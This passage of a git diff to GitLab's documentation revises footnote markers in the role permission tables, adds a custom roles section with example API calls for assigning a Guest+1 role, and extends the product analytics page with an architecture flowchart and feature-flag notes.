/tmp/${TERRAFORM_MODULE_NAME}-${TERRAFORM_MODULE_SYSTEM}-${TERRAFORM_MODULE_VERSION}.tgz ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/terraform/modules/${TERRAFORM_MODULE_NAME}/${TERRAFORM_MODULE_SYSTEM}/${TERRAFORM_MODULE_VERSION}/file' rules: - if: $CI_COMMIT_TAG diff --git a/doc/user/permissions.md b/doc/user/permissions.md index 8455db45030..8e736b6d83e 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -73,7 +73,7 @@ The following table lists project permissions available for each role: | [Clusters](infrastructure/clusters/index.md):<br>Manage clusters | | | | ✓ | ✓ | | [Container Registry](packages/container_registry/index.md):<br>Create, edit, delete [cleanup policies](packages/container_registry/delete_container_registry_images.md#use-a-cleanup-policy) | | | | ✓ | ✓ | | [Container Registry](packages/container_registry/index.md):<br>Push an image to the Container Registry | | | ✓ | ✓ | ✓ | -| [Container Registry](packages/container_registry/index.md):<br>Pull an image from the Container Registry | ✓ (*19*) | ✓ (*19*) | ✓ | ✓ | ✓ | +| [Container Registry](packages/container_registry/index.md):<br>Pull an image from the Container Registry | ✓ (19) | ✓ (19) | ✓ | ✓ | ✓ | | [Container Registry](packages/container_registry/index.md):<br>Remove a Container Registry image | | | ✓ | ✓ | ✓ | | [GitLab Pages](project/pages/index.md):<br>View Pages protected by [access control](project/pages/pages_access_control.md) | ✓ | ✓ | ✓ | ✓ | ✓ | | [GitLab Pages](project/pages/index.md):<br>Manage | | | | ✓ | ✓ | @@ -94,81 +94,81 @@ The following table lists project permissions available for each role: | [Incident Management](../operations/incident_management/index.md):<br>Manage [escalation policies](../operations/incident_management/escalation_policies.md) | | | | ✓ | ✓ | | [Issue boards](project/issue_board.md):<br>Create or delete lists | | ✓ | ✓ | ✓ | ✓ | | [Issue boards](project/issue_board.md):<br>Move issues between lists | | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>Add Labels | ✓ (*15*) | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>Add to epic | | ✓ (*22*) | ✓ (*22*) | ✓ (*22*) | ✓ (*22*) | -| [Issues](project/issues/index.md):<br>Assign | ✓ (*15*) | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>Create (*17*) | ✓ | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>Add Labels | ✓ (15) | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>Add to epic | | ✓ (22) | ✓ (22) | ✓ (22) | ✓ (22) | +| [Issues](project/issues/index.md):<br>Assign | ✓ (15) | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>Create (17) | ✓ | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Create [confidential issues](project/issues/confidential_issues.md) | ✓ | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>View [Design Management](project/issues/design_management.md) pages | ✓ | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>View [related issues](project/issues/related_issues.md) | ✓ | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>Set [weight](project/issues/issue_weight.md) | ✓ (*15*) | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>Set [weight](project/issues/issue_weight.md) | ✓ (15) | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Set [parent epic](group/epics/manage_epics.md#add-an-existing-issue-to-an-epic) | | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>View [confidential issues](project/issues/confidential_issues.md) | (*2*) | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>Close / reopen (*18*) | | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>View [confidential issues](project/issues/confidential_issues.md) | (2) | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>Close / reopen (18) | | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Lock threads | | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Manage [related issues](project/issues/related_issues.md) | | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Manage tracker | | ✓ | ✓ | ✓ | ✓ | -| [Issues](project/issues/index.md):<br>Move issues (*14*) | | ✓ | ✓ | ✓ | ✓ | +| [Issues](project/issues/index.md):<br>Move issues (14) | | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Set issue [time tracking](project/time_tracking.md) estimate and time spent | | ✓ | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Archive [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Upload [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ | | [Issues](project/issues/index.md):<br>Delete | | | | | ✓ | -| [License Compliance](compliance/license_compliance/index.md):<br>View allowed and denied licenses | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | -| [License Compliance](compliance/license_compliance/index.md):<br>View License Compliance reports | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | +| [License Compliance](compliance/license_compliance/index.md):<br>View allowed and denied licenses | ✓ (1) | ✓ | ✓ | ✓ | ✓ | +| [License Compliance](compliance/license_compliance/index.md):<br>View License Compliance reports | ✓ (1) | ✓ | ✓ | ✓ | ✓ | | [License Compliance](compliance/license_compliance/index.md):<br>View License list | | ✓ | ✓ | ✓ | ✓ | | [License Compliance](compliance/license_compliance/index.md):<br>Manage license policy | | | | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Assign reviewer | | ✓ | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>See list | | ✓ | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Apply code change suggestions | | | ✓ | ✓ | ✓ | -| [Merge requests](project/merge_requests/index.md):<br>Approve (*8*) | | | ✓ | ✓ | ✓ | +| [Merge requests](project/merge_requests/index.md):<br>Approve (8) | | | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Assign | | | ✓ | ✓ | ✓ | -| [Merge requests](project/merge_requests/index.md):<br>Create (*16*) | | | ✓ | ✓ | ✓ | +| [Merge requests](project/merge_requests/index.md):<br>Create (16) | | | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Add labels | | | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Lock threads | | | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Manage or accept | | | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>[Resolve a thread](discussions/index.md#resolve-a-thread) | | | ✓ | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Manage [merge approval rules](project/merge_requests/approvals/settings.md) (project settings) | | | | ✓ | ✓ | | [Merge requests](project/merge_requests/index.md):<br>Delete | | | | | ✓ | -| [Metrics dashboards](../operations/metrics/dashboards/index.md):<br>Manage user-starred metrics dashboards (*6*) | ✓ | ✓ | ✓ | ✓ | ✓ | +| [Metrics dashboards](../operations/metrics/dashboards/index.md):<br>Manage user-starred metrics dashboards (6) | ✓ | ✓ | ✓ | ✓ | ✓ | | [Metrics dashboards](../operations/metrics/dashboards/index.md):<br>View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ | | [Metrics dashboards](../operations/metrics/dashboards/index.md):<br>Create/edit/delete metrics dashboard annotations | | | ✓ | ✓ | ✓ | -| [Package registry](packages/index.md):<br>Pull a package | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | +| [Package registry](packages/index.md):<br>Pull a package | ✓ (1) | ✓ | ✓ | ✓ | ✓ | | [Package registry](packages/index.md):<br>Publish a package | | | ✓ | ✓ | ✓ | | [Package registry](packages/index.md):<br>Delete a package | | | | ✓ | ✓ | | [Package registry](packages/index.md):<br>Delete a file associated with a package | | | | ✓ | ✓ | | [Project operations](../operations/index.md):<br>View [Error Tracking](../operations/error_tracking.md) list | | ✓ | ✓ | ✓ | ✓ | | [Project operations](../operations/index.md):<br>Manage [Feature Flags](../operations/feature_flags.md) | | | ✓ | ✓ | ✓ | | [Project operations](../operations/index.md):<br>Manage [Error Tracking](../operations/error_tracking.md) | | | | ✓ | ✓ | -| [Projects](project/index.md):<br>Download project | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | +| [Projects](project/index.md):<br>Download project | ✓ (1) | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>Leave comments | ✓ | ✓ | ✓ | ✓ | ✓ | -| [Projects](project/index.md):<br>Reposition comments on images (posted by any user) | ✓ (*9*) | ✓ (*9*) | ✓ (*9*) | ✓ | ✓ | +| [Projects](project/index.md):<br>Reposition comments on images (posted by any user) | ✓ (9) | ✓ (9) | ✓ (9) | ✓ | ✓ | | [Projects](project/index.md):<br>View [Insights](project/insights/index.md) | ✓ | ✓ | ✓ | ✓ | ✓ | -| [Projects](project/index.md):<br>View [releases](project/releases/index.md) | ✓ (*5*) | ✓ | ✓ | ✓ | ✓ | +| [Projects](project/index.md):<br>View [releases](project/releases/index.md) | ✓ (5) | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>View [Requirements](project/requirements/index.md) | ✓ | ✓ | ✓ | ✓ | ✓ | -| [Projects](project/index.md):<br>View [time tracking](project/time_tracking.md) reports | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | +| [Projects](project/index.md):<br>View [time tracking](project/time_tracking.md) reports | ✓ (1) | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>View [wiki](project/wiki/index.md) pages | ✓ | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>Create [snippets](snippets.md) | | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>Manage labels | | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>View [project traffic statistics](../api/project_statistics.md) | | ✓ | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>Create, edit, delete [milestones](project/milestones/index.md). | | ✓ | ✓ | ✓ | ✓ | -| [Projects](project/index.md):<br>Create, edit, delete [releases](project/releases/index.md) | | | ✓ (*12*) | ✓ (*12*) | ✓ (*12*) | +| [Projects](project/index.md):<br>Create, edit, delete [releases](project/releases/index.md) | | | ✓ (12) | ✓ (12) | ✓ (12) | | [Projects](project/index.md):<br>Create, edit [wiki](project/wiki/index.md) pages | | | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>Enable [Review Apps](../ci/review_apps/index.md) | | | ✓ | ✓ | ✓ | -| [Projects](project/index.md):<br>View project [Audit Events](../administration/audit_events.md) | | | ✓ (*10*) | ✓ | ✓ | +| [Projects](project/index.md):<br>View project [Audit Events](../administration/audit_events.md) | | | ✓ (10) | ✓ | ✓ | | [Projects](project/index.md):<br>Add [deploy keys](project/deploy_keys/index.md) | | | | ✓ | ✓ | | [Projects](project/index.md):<br>Add new [team members](project/members/index.md) | | | | ✓ | ✓ | -| [Projects](project/index.md):<br>Manage [team members](project/members/index.md) | | | | ✓ (*20*) | ✓ | -| [Projects](project/index.md):<br>Change [project features visibility](public_access.md) level | | | | ✓ (*13*) | ✓ | +| [Projects](project/index.md):<br>Manage [team members](project/members/index.md) | | | | ✓ (20) | ✓ | +| [Projects](project/index.md):<br>Change [project features visibility](public_access.md) level | | | | ✓ (13) | ✓ | | [Projects](project/index.md):<br>Configure [webhooks](project/integrations/webhooks.md) | | | | ✓ | ✓ | | [Projects](project/index.md):<br>Delete [wiki](project/wiki/index.md) pages | | | ✓ | ✓ | ✓ | | [Projects](project/index.md):<br>Edit comments (posted by any user) | | | | ✓ | ✓ | | [Projects](project/index.md):<br>Edit project badges | | | | ✓ | ✓ | | [Projects](project/index.md):<br>Edit project settings | | | | ✓ | ✓ | | [Projects](project/index.md):<br>[Export project](project/settings/import_export.md) | | | | ✓ | ✓ | -| [Projects](project/index.md):<br>Manage [project access tokens](project/settings/project_access_tokens.md) (*11*) | | | | ✓ (*20*) | ✓ | +| [Projects](project/index.md):<br>Manage [project access tokens](project/settings/project_access_tokens.md) (11) | | | | ✓ (20) | ✓ | | [Projects](project/index.md):<br>Manage [Project Operations](../operations/index.md) | | | | ✓ | ✓ | | [Projects](project/index.md):<br>Rename project | | | | ✓ | ✓ | -| [Projects](project/index.md):<br>Share (invite) projects with groups | | | | ✓ (*7*) | ✓ (*7*) | +| [Projects](project/index.md):<br>Share (invite) projects with groups | | | | ✓ (7) | ✓ (7) | | [Projects](project/index.md):<br>View 2FA status of members | | | | ✓ | ✓ | | [Projects](project/index.md):<br>Assign project to a [compliance framework](project/settings/index.md#add-a-compliance-framework-to-a-project) | | | | | ✓ | | [Projects](project/index.md):<br>Archive project | | | | | ✓ | @@ -177,12 +177,12 @@ The following table lists project permissions available for each role: | [Projects](project/index.md):<br>Disable notification emails | | | | | ✓ | | [Projects](project/index.md):<br>Transfer project to another namespace | | | | | ✓ | | [Projects](project/index.md): View [Usage Quotas](usage_quotas.md) page | | | | ✓ | ✓ | -| [Repository](project/repository/index.md):<br>Pull project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | -| [Repository](project/repository/index.md):<br>View project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | +| [Repository](project/repository/index.md):<br>Pull project code | ✓ (1) | ✓ | ✓ | ✓ | ✓ | +| [Repository](project/repository/index.md):<br>View project code | ✓ (1) (23) | ✓ | ✓ | ✓ | ✓ | | [Repository](project/repository/index.md):<br>View a commit status | | ✓ | ✓ | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Add tags | | | ✓ | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Create new branches | | | ✓ | ✓ | ✓ | -| [Repository](project/repository/index.md):<br>Create or update commit status | | | ✓ (*4*) | ✓ | ✓ | +| [Repository](project/repository/index.md):<br>Create or update commit status | | | ✓ (4) | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Force push to non-protected branches | | | ✓ | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Push to non-protected branches | | | ✓ | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Remove non-protected branches | | | ✓ | ✓ | ✓ | @@ -190,11 +190,11 @@ The following table lists project permissions available for each role: | [Repository](project/repository/index.md):<br>Enable or disable branch protection | | | | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Enable or disable tag protection | | | | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Manage [push rules](project/repository/push_rules.md) | | | | ✓ | ✓ | -| [Repository](project/repository/index.md):<br>Push to protected branches (*4*) | | | | ✓ | ✓ | +| [Repository](project/repository/index.md):<br>Push to protected branches (4) | | | | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Turn on or off protected branch push for developers | | | | ✓ | ✓ | | [Repository](project/repository/index.md):<br>Remove fork relationship | | | | | ✓ | -| [Repository](project/repository/index.md):<br>Force push to protected branches (*3*) | | | | | | -| [Repository](project/repository/index.md):<br>Remove protected branches (*3*) | | | | | | +| [Repository](project/repository/index.md):<br>Force push to protected branches (3) | | | | | | +| [Repository](project/repository/index.md):<br>Remove protected branches (3) | | | | | | | [Requirements Management](project/requirements/index.md):<br>Archive / reopen | | ✓ | ✓ | ✓ | ✓ | | [Requirements Management](project/requirements/index.md):<br>Create / edit | | ✓ | ✓ | ✓ | ✓ | | [Requirements Management](project/requirements/index.md):<br>Import / export | | ✓ | ✓ | ✓ | ✓ | @@ -207,10 +207,10 @@ The following table lists project permissions available for each role: | [Security dashboard](application_security/security_dashboard/index.md):<br>Use security dashboard | | | ✓ | ✓ | ✓ | | [Security dashboard](application_security/security_dashboard/index.md):<br>View vulnerability | | | ✓ | ✓ | ✓ | | [Security dashboard](application_security/security_dashboard/index.md):<br>View vulnerability findings in [dependency list](application_security/dependency_list/index.md) | | | ✓ | ✓ | ✓ | -| [Tasks](tasks.md):<br>Create (*17*) | | ✓ | ✓ | ✓ | ✓ | +| [Tasks](tasks.md):<br>Create (17) | | ✓ | ✓ | ✓ | ✓ | | [Tasks](tasks.md):<br>Edit | | ✓ | ✓ | ✓ | ✓ | | [Tasks](tasks.md):<br>Remove from issue | | ✓ | ✓ | ✓ | ✓ | -| [Tasks](tasks.md):<br>Delete (*21*) | | | | | ✓ | +| [Tasks](tasks.md):<br>Delete (21) | | | | | ✓ | | [Terraform](infrastructure/index.md):<br>Read Terraform state | | | ✓ | ✓ | ✓ | | [Terraform](infrastructure/index.md):<br>Manage Terraform state | | | | ✓ | ✓ | | [Test cases](../ci/test_cases/index.md):<br>Archive | | ✓ | ✓ | ✓ | ✓ | @@ -220,10 +220,7 @@ The following table lists project permissions available for each role: <!-- markdownlint-disable MD029 --> -1. On self-managed GitLab instances, guest users are able to perform this action only on - public and internal projects (not on private projects). [External users](admin_area/external_users.md) - must be given explicit access even if the project is internal. Users with the Guest role on GitLab.com are - only able to perform this action on public projects because internal visibility is not available. +1. On self-managed GitLab instances, users with the Guest role are able to perform this action only on public and internal projects (not on private projects). [External users](admin_area/external_users.md) must be given explicit access even if the project is internal. Users with the Guest role on GitLab.com are only able to perform this action on public projects because internal visibility is not available. In GitLab 15.9 and later, this restriction only applies to users with the non-custom Guest role on self-managed GitLab instances and GitLab.com. 2. Guest users can only view the [confidential issues](project/issues/confidential_issues.md) they created themselves or are assigned to. 3. Not allowed for Guest, Reporter, Developer, Maintainer, or Owner. See [protected branches](project/protected_branches.md). 4. If the [branch is protected](project/protected_branches.md), this depends on the access given to Developers and Maintainers. @@ -250,6 +247,7 @@ The following table lists project permissions available for each role: 20. Maintainers cannot create, demote, or remove Owners, and they cannot promote users to the Owner role. They also cannot approve Owner role access requests. 21. Authors of tasks can delete them even if they don't have the Owner role, but they have to have at least the Guest role for the project. 22. You must have permission to [view the epic](group/epics/manage_epics.md#who-can-view-an-epic). +23. In GitLab 15.9 and later, users with the Guest role and an Ultimate license can view private repository content if an administrator gives those users permission. The administrator can create a [custom role](#custom-roles) through the API and assign that role to the users. <!-- markdownlint-enable MD029 --> @@ -268,26 +266,26 @@ More details about the permissions for some project-level features follow. | Action | Non-member | Guest | Reporter | Developer | Maintainer | Owner | |---------------------------------------------------------------------------------------------------------------------------|------------|---------|----------|-----------|------------|-------| -| See that artifacts exist | ✓ (*3*) | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | -| View a list of jobs | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | -| View and download artifacts | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | -| View [environments](../ci/environments/index.md) | ✓ (*3*) | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | -| View job logs and job details page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | -| View pipeline details page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | -| View pipelines page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | -| View pipelines tab in MR | ✓ (*3*) | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | -| [View vulnerabilities in a pipeline](application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) | | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | +| See that artifacts exist | ✓ (3) | ✓ (3) | ✓ | ✓ | ✓ | ✓ | +| View a list of jobs | ✓ (1) | ✓ (2) | ✓ | ✓ | ✓ | ✓ | +| View and download artifacts | ✓ (1) | ✓ (2) | ✓ | ✓ | ✓ | ✓ | +| View [environments](../ci/environments/index.md) | ✓ (3) | ✓ (3) | ✓ | ✓ | ✓ | ✓ | +| View job logs and job details page | ✓ (1) | ✓ (2) | ✓ | ✓ | ✓ | ✓ | +| View pipeline details page | ✓ (1) | ✓ (2) | ✓ | ✓ | ✓ | ✓ | +| View pipelines page | ✓ (1) | ✓ (2) | ✓ | ✓ | ✓ | ✓ | +| View pipelines tab in MR | ✓ (3) | ✓ (3) | ✓ | ✓ | ✓ | ✓ | +| [View vulnerabilities in a pipeline](application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) | | ✓ (2) | ✓ | ✓ | ✓ | ✓ | | View and download project-level [Secure Files](../api/secure_files.md) | | | | ✓ | ✓ | ✓ | | Cancel and retry jobs | | | | ✓ | ✓ | ✓ | | Create new [environments](../ci/environments/index.md) | | | | ✓ | ✓ | ✓ | -| Delete job logs or job artifacts | | | | ✓ (*4*) | ✓ | ✓ | +| Delete job logs or job artifacts | | | | ✓ (4) | ✓ | ✓ | | Run CI/CD pipeline | | | | ✓ | ✓ | ✓ | -| Run CI/CD pipeline for a protected branch | | | | ✓ (*5*) | ✓ (*5*) | ✓ | +| Run CI/CD pipeline for a protected branch | | | | ✓ (5) | ✓ (5) | ✓ | | Stop [environments](../ci/environments/index.md) | | | | ✓ | ✓ | ✓ | | View a job with [debug logging](../ci/variables/index.md#enable-debug-logging) | | | | ✓ | ✓ | ✓ | | Use pipeline editor | | | | ✓ | ✓ | ✓ | | Run [interactive web terminals](../ci/interactive_web_terminal/index.md) | | | | ✓ | ✓ | ✓ | -| Add specific runners to project | | | | | ✓ | ✓ | +| Add project runners to project | | | | | ✓ | ✓ | | Clear runner caches manually | | | | | ✓ | ✓ | | Enable shared runners in project | | | | | ✓ | ✓ | | Manage CI/CD settings | | | | | ✓ | ✓ | @@ -319,18 +317,18 @@ This table shows granted privileges for jobs triggered by specific types of user | Run CI job | | ✓ | ✓ | ✓ | | Clone source and LFS from current project | | ✓ | ✓ | ✓ | | Clone source and LFS from public projects | | ✓ | ✓ | ✓ | -| Clone source and LFS from internal projects | | ✓ (*1*) | ✓ (*1*) | ✓ | -| Clone source and LFS from private projects | | ✓ (*2*) | ✓ (*2*) | ✓ (*2*) | +| Clone source and LFS from internal projects | | ✓ (1) | ✓ (1) | ✓ | +| Clone source and LFS from private projects | | ✓ (2) | ✓ (2) | ✓ (2) | | Pull container images from current project | | ✓ | ✓ | ✓ | | Pull container images from public projects | | ✓ | ✓ | ✓ | -| Pull container images from internal projects | | ✓ (*1*) | ✓ (*1*) | ✓ | -| Pull container images from private projects | | ✓ (*2*) | ✓ (*2*) | ✓ (*2*) | +| Pull container images from internal projects | | ✓ (1) | ✓ (1) | ✓ | +| Pull container images from private projects | | ✓ (2) | ✓ (2) | ✓ (2) | | Push container images to current project | | ✓ | ✓ | ✓ | | Push container images to other projects | | | | | | Push source and LFS | | | | | 1. Only if the triggering user is not an external one. -1. Only if the triggering user is a member of the project. See also [Usage of private Docker images with `if-not-present` pull policy](http://docs.gitlabl.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy). +1. Only if the triggering user is a member of the project. See also [Usage of private Docker images with `if-not-present` pull policy](http://docs.gitlab.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy). ## Group members permissions @@ -423,8 +421,8 @@ When you add a member to a subgroup, they inherit the membership and permission level from the parent groups. This model allows access to nested groups if you have membership in one of its parents. -To learn more, read through the documentation on -[subgroups memberships](group/subgroups/index.md#subgroup-membership). +For more information, see +[subgroup memberships](group/subgroups/index.md#subgroup-membership). ## Users with minimal access **(PREMIUM)** @@ -464,3 +462,78 @@ subscriptions. - [Confidential issues](project/issues/confidential_issues.md) - [Container Registry permissions](packages/container_registry/index.md#container-registry-visibility-permissions) - [Release permissions](project/releases/index.md#release-permissions) + +## Custom roles **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106256) in GitLab 15.7 [with a flag](../administration/feature_flags.md) named `customizable_roles`. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110810) in GitLab 15.9. + +Custom roles allow group members who are assigned the Owner role to create roles +specific to the needs of their organization. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a demo of the custom roles feature, see [[Demo] Ultimate Guest can view code on private repositories via custom role](https://www.youtube.com/watch?v=46cp_-Rtxps). + +### Create a custom role + +To enable custom roles for your group, a group member with the Owner role: + +1. Makes sure that there is at least one private project in this group or one of + its subgroups, so that you can see the effect of giving a Guest a custom role. +1. Creates a personal access token with the API scope. +1. Uses [the API](../api/member_roles.md#add-a-member-role-to-a-group) to create the Guest+1 role for the group. + +### Associate a custom role with an existing group member + +To associate a custom role with an existing group member, a group member with +the Owner role: + +1. Invites a test user account to the root group as a Guest. + At this point, this Guest user cannot see any code on the projects in the group. +1. Optional. If the Owner does not know the `ID` of the Guest user receiving a custom + role, finds that `ID` by making an [API request](../api/member_roles.md#list-all-member-roles-of-a-group). + +1. Associates the group member with the Guest+1 role using the [Group and Project Members API endpoint](../api/members.md#edit-a-member-of-a-group-or-project) + + ```shell + curl --request PUT --header "Content-Type: application/json" --header "Authorization: Bearer $YOUR_ACCESS_TOKEN" --data '{"member_role_id": '$MEMBER_ROLE_ID', "access_level": 10}' "https://example.gitlab.com/api/v4/groups/$GROUP_PATH/members/$GUEST_USER_ID" + ``` + + Where: + - `$MEMBER_ROLE_ID`: The `ID` of the member role created in the previous section. + - `$GUEST_USER_ID`: The `ID` of the Guest user receiving a custom role. + + Now the Guest+1 user can view code on all projects in the root group. + +### Remove a custom role from a group member + +To remove a custom role from a group member, use the [Group and Project Members API endpoint](../api/members.md#edit-a-member-of-a-group-or-project) +and pass an empty `member_role_id` value. + +```shell +curl --request PUT --header "Content-Type: application/json" --header "Authorization: Bearer $YOUR_ACCESS_TOKEN" --data '{"member_role_id": "", "access_level": 10}' "https://example.gitlab.com/api/v4/groups/$GROUP_PATH/members/$GUEST_USER_ID" +``` + +Now the user is a regular Guest. + +### Remove a custom role + +Removing a custom role also removes all members with that custom role from +the group. If you decide to delete a custom role, you must re-add any users with that custom +role to the group. + +To remove a custom role from a group, a group member with +the Owner role: + +1. Optional. If the Owner does not know the `ID` of a custom + role, finds that `ID` by making an [API request](../api/member_roles.md#list-all-member-roles-of-a-group). +1. Uses [the API](../api/member_roles.md#remove-member-role-of-a-group) to delete the custom role. + +### Known issues + +- Additional permissions can only be applied to users with the Guest role. +- There is no visual distinction in the UI between the Guest role and the Guest role with additional permission. For more information, see [issue 384099](https://gitlab.com/gitlab-org/gitlab/-/issues/384099). +- If a user with a custom role is shared with a group or project, their custom role is not transferred over with them. The user has the regular Guest role in the new group or project. +- If a custom role is deleted, the users associated with that custom role are also removed from the group. For more information, see [issue 370352](https://gitlab.com/gitlab-org/gitlab/-/issues/370352). +- The API endpoint for associating a custom role with a user only works for users with the Guest role in a group. A project member can be associated with a custom role, but not through the API yet. For more information, see [issue 385495](https://gitlab.com/gitlab-org/gitlab/-/issues/385495). +- The only way to remove a custom role from a user's membership to a Group is to delete the custom role, which deletes the user membership entirely. See [issue 387769](https://gitlab.com/gitlab-org/gitlab/-/issues/387769). diff --git a/doc/user/product_analytics/index.md b/doc/user/product_analytics/index.md index 46f8b57a64c..6d6a609618b 100644 --- a/doc/user/product_analytics/index.md +++ b/doc/user/product_analytics/index.md @@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Product analytics **(ULTIMATE)** -> Introduced in GitLab 15.4 as an [Alpha](../../policy/alpha-beta-support.md#alpha-features) feature [with a flag](../../administration/feature_flags.md) named `cube_api_proxy`. Disabled by default. +> - Introduced in GitLab 15.4 as an [Alpha](../../policy/alpha-beta-support.md#alpha-features) feature [with a flag](../../administration/feature_flags.md) named `cube_api_proxy`. Disabled by default. +> - `cube_api_proxy` revised to only reference the [Product Analytics API](../../api/product_analytics.md) in GitLab 15.6. FLAG: On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `cube_api_proxy`. @@ -14,10 +15,47 @@ On GitLab.com, this feature is not available. This feature is not ready for production use. This page is a work in progress, and we're updating the information as we add more features. -For more information, visit the [Product Analytics group direction page](https://about.gitlab.com/direction/analytics/product-analytics/). +For more information, see the [group direction page](https://about.gitlab.com/direction/analytics/product-analytics/). + +## How Product Analytics works + +```mermaid +--- +title: Product Analytics flow +--- +flowchart TB + subgraph Adding data + A([SDK]) --Send user data--> B[Analytics Proxy] + B --Transform data and pass it through--> C[Jitsu] + C --Pass the data to the associated database--> D([Clickhouse]) + end + subgraph Showing dashboards + E([Dashboards]) --Generated from the YAML definition--> F[Dashboard] + F --Request data--> G[Product Analytics API] + G --Run Cube queries with pre-aggregations--> H[Cube.js] + H --Get data from database--> D + D --Return results--> H + H --> G + G --Transform data to be rendered--> F + end +``` + +Product Analytics uses several tools: + +- [**Jitsu**](https://jitsu.com/docs) - A web and app event collection platform that provides a consistent API to collect user data and pass it through to Clickhouse. +- [**Clickhouse**](https://clickhouse.com/docs) - A database suited to store, query, and retrieve analytical data. +- [**Cube.js**](https://cube.dev/docs/) - An analytical graphing library that provides an API to run queries against the data stored in Clickhouse. ## Enable product analytics +> - Introduced in GitLab 15.6 behind the [feature flag](../../administration/feature_flags.md) named `cube_api_proxy`. Disabled by default. +> - Moved to be behind the [feature flag](../../administration/feature_flags.md) named `product_analytics_admin_settings` in GitLab 15.7. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `product_analytics_admin_settings`. +On GitLab.com, this feature is not available. +This feature is not ready for production use. + You can enable and configure product analytics to track events within your project applications on a self-managed instance. @@ -45,11 +83,32 @@ Prerequisite: ## Product analytics dashboards +> Introduced in GitLab 15.5 behind the [feature flag](../../administration/feature_flags.md) named `product_analytics_internal_preview`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available per project or 